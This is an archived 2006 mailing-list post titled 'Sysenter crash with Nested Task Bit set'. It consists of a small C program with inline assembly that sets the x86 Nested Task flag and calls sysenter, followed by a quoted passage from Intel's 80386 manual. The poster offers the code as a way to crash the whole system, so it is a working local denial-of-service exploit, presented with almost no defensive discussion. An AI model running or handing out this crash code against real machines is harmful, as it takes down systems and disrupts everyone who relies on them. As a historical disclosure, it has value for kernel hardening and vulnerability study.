Skip to contentSkip to conversation

Sysenter crash with Nested Task Bit set

DISCUSSION In Cognito 1 participant 1 message Sep 17, 2006 1 message not in the archive

lore
Share & tools
lore

A message that is not in the archive (sent off-list or not yet received): [email protected]

In Cognito

author
#1 lore raw

Here's a way to heat up your cpu and crash the rest of the system too:

main(){
asm("pushf\n"

       "popl %eax\n"
/* enable the NT bit */
       "orl $0x4000, %eax\n"
       "pushl %eax\n"
       "popf\n"

       "sysenter\n"
      );

return 0;
}

"If NT equals 1, IRET reverses the operation of a CALL or INT that caused a task switch. The updated state of the task executing IRET is saved in its task state segment. If the task is reentered later, the code that follows IRET is executed."
- Intel 80386 Reference Programmer's Manual